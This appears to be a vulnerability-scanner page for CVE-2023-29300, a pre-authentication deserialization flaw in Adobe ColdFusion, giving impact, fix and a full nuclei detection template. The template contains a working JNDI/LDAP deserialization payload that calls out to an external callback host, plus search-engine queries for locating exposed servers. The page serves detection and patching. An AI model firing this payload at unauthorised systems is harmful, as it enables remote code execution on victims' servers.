Adobe ColdFusion - Pre-Auth Remote Code Execution

Exploited in the wild. Listed by CISA on 2024-01-08; known to be used by ransomware.

criticalseverity

9.8CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Adobe ColdFusion versions 2018u16 (and earlier), 2021u6 (and earlier) and 2023.0.0.330468 (and earlier) are affected by a Deserialization of Untrusted Data vulnerability that could result in Arbitrary code execution. Exploitation of this issue does not require user interaction.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Upgrade to Adobe ColdFusion version 2023.0.0.328155 or later to mitigate this vulnerability.

How to confirm it

Send: POST ///CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true
Positive when: contains(interactsh_protocol, "dns") and contains(body, "ColdFusion documentation")

Run it with nuclei: nuclei -id CVE-2023-29300 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-29300

info:
  name: Adobe ColdFusion - Pre-Auth Remote Code Execution
  author: rootxharsh,iamnoooob,pdresearch
  severity: critical
  description: |
    Adobe ColdFusion versions 2018u16 (and earlier), 2021u6 (and earlier) and 2023.0.0.330468 (and earlier) are affected by a Deserialization of Untrusted Data vulnerability that could result in Arbitrary code execution. Exploitation of this issue does not require user interaction.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade to Adobe ColdFusion version 2023.0.0.328155 or later to mitigate this vulnerability.
  reference:
    - https://blog.projectdiscovery.io/adobe-coldfusion-rce/
    - https://helpx.adobe.com/security/products/coldfusion/apsb23-40.html
    - https://github.com/Ostorlab/KEV
    - https://github.com/Threekiii/Vulhub-Reproduce
    - https://github.com/XRSec/AWVS-Update
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-29300
    cwe-id: CWE-502
    epss-score: 0.99991
    epss-percentile: 0.99985
    cpe: cpe:2.3:a:adobe:coldfusion:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: adobe
    product: coldfusion
    shodan-query:
      - http.component:"Adobe ColdFusion"
      - http.component:"adobe coldfusion"
      - http.title:"coldfusion administrator login"
      - cpe:"cpe:2.3:a:adobe:coldfusion"
    fofa-query:
      - app="Adobe-ColdFusion"
      - app="adobe-coldfusion"
      - title="coldfusion administrator login"
    google-query: intitle:"coldfusion administrator login"
  tags: cve,cve2023,adobe,rce,coldfusion,deserialization,kev,vkev,vuln
variables:
  callback: "{{interactsh-url}}"
  jndi: "ldap%3a//{{callback}}/rcrzfd"

http:
  - raw:
      - |
        POST ///CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        argumentCollection=<wddxPacket+version%3d'1.0'><header/><data><struct+type%3d'xcom.sun.rowset.JdbcRowSetImplx'><var+name%3d'dataSourceName'><string>{{jndi}}</string></var><var+name%3d'autoCommit'><boolean+value%3d'true'/></var></struct></data></wddxPacket>

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, "dns")
          - contains(body, "ColdFusion documentation")
        condition: and

References

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